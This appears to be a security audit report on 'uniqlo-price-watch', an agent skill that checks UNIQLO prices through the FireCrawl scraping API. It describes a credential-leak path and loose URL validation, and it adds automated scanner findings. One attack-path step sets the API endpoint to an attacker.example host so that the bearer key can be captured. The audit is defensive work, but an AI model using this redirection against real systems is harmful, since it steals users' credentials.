Back to skill

Security audit

uniqlo-price-watch

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent UNIQLO price tracker, but it uses an external scraping service and ambient API credentials with weak scoping that users should review before installing.

Install only if you are comfortable with product URLs being sent to FireCrawl and with the agent using a FireCrawl API key from your environment. Avoid setting FIRECRAWL_API_URL unless you fully trust the endpoint, and review or delete uniqlo/uniqlo-price-watch.csv when you no longer want local shopping history retained.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
firecrawl-scrape.mjs:64
Finding

FireCrawl API Key Can Be Disclosed to an Arbitrary Configured Endpoint

Content
View full analysis

Vulnerability Details

File Location: firecrawl-scrape.mjs, lines 64–84
Vulnerability Type: Unvalidated credential-bearing API endpoint
Risk Level: High

js
const endpoint = process.env.FIRECRAWL_API_URL ?? DEFAULT_ENDPOINT;
const timeoutMs = Number.parseInt(
  process.env.FIRECRAWL_TIMEOUT_MS ?? `${DEFAULT_TIMEOUT_MS}`,
  10,
);

const controller = new AbortController();
const timeout = Number.isFinite(timeoutMs)
  ? setTimeout(() => controller.abort(), timeoutMs)
  : null;

try {
  const response = await fetch(endpoint, {
    method: "POST",
    headers: {
      Authorization: `Bearer ${apiKey}`,
      "Content-Type": "application/json",
    },

Technical Analysis

The script allows FIRECRAWL_API_URL to override the trusted FireCrawl endpoint without validating its protocol or hostname. It subsequently attaches the FireCrawl API key to the request as a bearer credential.

This creates a credential-exfiltration path: any party capable of influencing the process environment can redirect the authenticated request to a server under their control. The malicious endpoint does not need to imitate FireCrawl successfully because the API key is disclosed as soon as the HTTP request arrives.

Depending on the runtime's redirect behavior, endpoint validation should also account for redirects so that a validated endpoint cannot redirect an authenticated request to an untrusted host.

Attack Path

  1. An attacker, compromised launcher, shell initialization file, or untrusted automation configuration sets:
    sh
    FIRECRAWL_API_URL=https://attacker.example/collect
    
  2. A user runs the documented scraper while a valid FIRECRAWL_API_KEY is present.
  3. The script reads the attacker-controlled endpoint from the environment.
  4. It sends an HTTPS request containing:
    http
    Authorization: Bearer <FIRECRAWL_API_KEY>
    
  5. The attacker records the bear ...[truncated 452 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove FIRECRAWL_API_URL overriding if custom endpoints are not strictly required.
  2. If overriding is required, parse the endpoint with new URL() and enforce:
    • The https: protocol.
    • An explicit hostname allowlist, such as api.firecrawl.dev.
    • The expected API path.
    • No embedded username or password.
  3. Disable automatic redirects for credential-bearing requests or validate every redirect destination before resending the authorization header.
  4. Never attach the bearer credential when the destination is outside the trusted allowlist.
  5. Document the permitted endpoint and reject invalid configuration with a clear error.
  6. Rotate any FireCrawl API key that may have been used while an untrusted endpoint override was configured.

T09 · Insecure Skill Coding Practices

Note
Location
firecrawl-scrape.mjs:42
Finding

Scraper Accepts Targets Outside the Declared UNIQLO Scope

Content
View full analysis

Vulnerability Details

File Location: firecrawl-scrape.mjs, lines 42–89
Vulnerability Type: Insufficient target URL validation
Risk Level: Low

js
const inputUrl = args[0];
let parsedUrl;

try {
  parsedUrl = new URL(inputUrl);
} catch {
  fail("invalid URL argument", inputUrl);
}

if (!/^https?:$/.test(parsedUrl.protocol)) {
  fail("URL must use http or https", inputUrl);
}

// ...

body: JSON.stringify({
  url: parsedUrl.toString(),
  formats: ["markdown"],
}),

Technical Analysis

The skill is declared as a UNIQLO price-monitoring utility, but its only target validation is an HTTP/HTTPS protocol check. It accepts any hostname and submits the supplied URL to the FireCrawl service.

This violates least-privilege and scope-restriction principles. An invocation influenced by untrusted input can consume the configured FireCrawl account to scrape unrelated targets. The audited code does not itself establish that FireCrawl permits access to private network resources, so internal-network access cannot be asserted from the available evidence; the confirmed issue is unrestricted target selection relative to the skill's declared purpose.

Attack Path

  1. An attacker or untrusted caller supplies a non-UNIQLO HTTP or HTTPS URL as the sole command-line argument.
  2. The script validates only that the URL uses the http: or https: scheme.
  3. The arbitrary URL is submitted to FireCrawl using the victim's API key.
  4. FireCrawl processes the unrelated target if permitted by its own controls, consuming the victim's service quota.

Impact Assessment

Exploitation can cause unauthorized use of the configured FireCrawl account for targets unrelated to UNIQLO, including quota consumption and potential account charges. It also expands the operational scope of the skill beyond what users are told to expect. No direct local privilege escalation or confirmed access to internal resources was ...[truncated 12 chars]

Remediation
View remediation

Remediation Suggestions

  1. Enforce an explicit hostname allowlist for the skill's intended targets, such as www.uniqlo.cn.
  2. Require HTTPS rather than allowing plaintext HTTP.
  3. Validate the expected search-page path, such as /search.html, if product search pages are the only legitimate inputs.
  4. Reject URLs containing embedded credentials or unexpected ports.
  5. Normalize the hostname before comparison and avoid suffix checks that would accept attacker-controlled domains such as uniqlo.cn.attacker.example.
  6. If subdomains must be supported, permit only explicitly documented UNIQLO subdomains.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (10)

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
70% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · firecrawl-scrape.mjs (reported line 60)May include surrounding context.

js
}

const apiKey =
  process.env.FIRECRAWL_API_KEY ?? process.env["FIRECRAWL-API-KEY"];

if (!apiKey) {
  fail("missing FIRECRAWL_API_KEY environment variable");

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill requires network access and environment-variable access but does not declare any explicit tool scope or permission boundaries. This creates a least-privilege gap: an agent may use broader capabilities than users expect, especially when the skill also instructs reading credentials and calling external services.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill says it will automatically create and update a persistent CSV in the working directory, but it does not clearly warn the user before writing durable data. Persistent storage of shopping interests and URLs can surprise users, create privacy issues on shared systems, and leave data behind longer than intended.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill silently adds an external FireCrawl scraping workflow that is not disclosed in the manifest description. This is dangerous because product URLs, user tracking targets, and potentially credential-backed requests may be sent to a third party when users believe the skill only interacts with uniqlo.cn and local storage.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The skill instructs the agent to read FireCrawl API keys from environment variables, even though the user-facing purpose is only price tracking and CSV storage. Accessing ambient credentials is sensitive because it can expose or misuse secrets without explicit user awareness or consent, and it expands the trust boundary to a third-party service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill includes reading FireCrawl API credentials from environment variables but does not provide any user-facing warning that secrets may be accessed. Undisclosed credential access is particularly sensitive because users may not realize the agent can consume ambient secrets and send requests to an external service on their behalf.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · firecrawl-scrape.mjs (reported line 3)May include surrounding context.

js
#!/usr/bin/env node

const DEFAULT_ENDPOINT = "https://api.firecrawl.dev/v2/scrape";
const DEFAULT_TIMEOUT_MS = 30_000;

function printHelp() {

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The script accepts any http(s) URL and forwards it to the FireCrawl service, even though the skill is supposed to track prices only on uniqlo.cn. In an agent context, this creates a scope-bypass/SSRF-like exfiltration primitive: a user or prompt can cause the agent to fetch arbitrary external pages through a credentialed third-party service, which expands the skill far beyond its declared purpose.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
76% confidence
Finding

描述将目标站点固定为 uniqlo.cn,且整份技能流程默认中文商品检索与页面确认,没有提供用户语言或地区选择。根据语言/locale 政策,若强制特定语言或地区而无用户 opt-in 或明确合理说明,可能构成自然语言策略问题。

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The stated purpose is price comparison and local persistence for UNIQLO items, but this helper depends on an external scraping service authenticated via environment-provided API keys. Accessing environment secrets is not mentioned in the manifest and is not obviously implied by a simple price-watch description.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
firecrawl-scrape.mjs:60